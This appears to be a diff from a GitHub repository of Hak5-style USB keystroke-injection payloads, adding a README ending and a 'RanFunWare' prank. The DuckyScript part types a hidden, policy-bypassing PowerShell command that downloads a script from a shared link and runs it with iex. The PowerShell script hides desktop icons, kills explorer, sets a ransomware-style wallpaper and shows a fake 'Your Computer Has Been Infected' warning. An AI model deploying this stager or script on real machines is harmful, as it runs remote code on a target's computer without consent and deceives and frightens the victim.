<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>I-Am-Jakoby's Discord
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
|
||||
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
REM Title: RanFunWare
|
||||
|
||||
REM Author: atomiczsec
|
||||
|
||||
REM Description: This payload will prank your target into thinking their machine got hit with ransomware.
|
||||
|
||||
REM Target: Windows 10
|
||||
|
||||
DELAY 2000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
|
||||
ENTER
|
||||
|
||||
REM Remember to replace the link with your DropBox shared link for the intended file to download
|
||||
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
#Hides Desktop Icons
|
||||
$Path="HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
|
||||
Set-ItemProperty -Path $Path -Name "HideIcons" -Value 1
|
||||
Get-Process "explorer"| Stop-Process
|
||||
|
||||
#Changes Background
|
||||
#URL For the Image of your choice (Wanna Cry Ransomware Background)
|
||||
$url = "https://c4.wallpaperflare.com/wallpaper/553/61/171/5k-black-hd-mockup-wallpaper-preview.jpg"
|
||||
|
||||
|
||||
Invoke-WebRequest $url -OutFile C:\temp\test.jpg
|
||||
|
||||
|
||||
$setwallpapersrc = @"
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Wallpaper
|
||||
{
|
||||
public const int SetDesktopWallpaper = 20;
|
||||
public const int UpdateIniFile = 0x01;
|
||||
public const int SendWinIniChange = 0x02;
|
||||
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
|
||||
public static void SetWallpaper(string path)
|
||||
{
|
||||
SystemParametersInfo(SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange);
|
||||
}
|
||||
}
|
||||
"@
|
||||
Add-Type -TypeDefinition $setwallpapersrc
|
||||
|
||||
[Wallpaper]::SetWallpaper("C:\temp\test.jpg")
|
||||
|
||||
|
||||
#Pop Up Message
|
||||
|
||||
function MsgBox {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Mandatory = $True)]
|
||||
[Alias("m")]
|
||||
[string]$message,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[Alias("t")]
|
||||
[string]$title,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[Alias("b")]
|
||||
[ValidateSet('OK','OKCancel','YesNoCancel','YesNo')]
|
||||
[string]$button,
|
||||
|
||||
[Parameter (Mandatory = $False)]
|
||||
[Alias("i")]
|
||||
[ValidateSet('None','Hand','Question','Warning','Asterisk')]
|
||||
[string]$image
|
||||
)
|
||||
|
||||
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||
|
||||
if (!$title) {$title = " "}
|
||||
if (!$button) {$button = "OK"}
|
||||
if (!$image) {$image = "None"}
|
||||
|
||||
[System.Windows.MessageBox]::Show($message,$title,$button,$image)
|
||||
|
||||
}
|
||||
|
||||
MsgBox -m 'Your Computer Has Been Infected' -t "Warning" -b OKCancel -i Warning
|
||||
Loading…
Reference in New Issue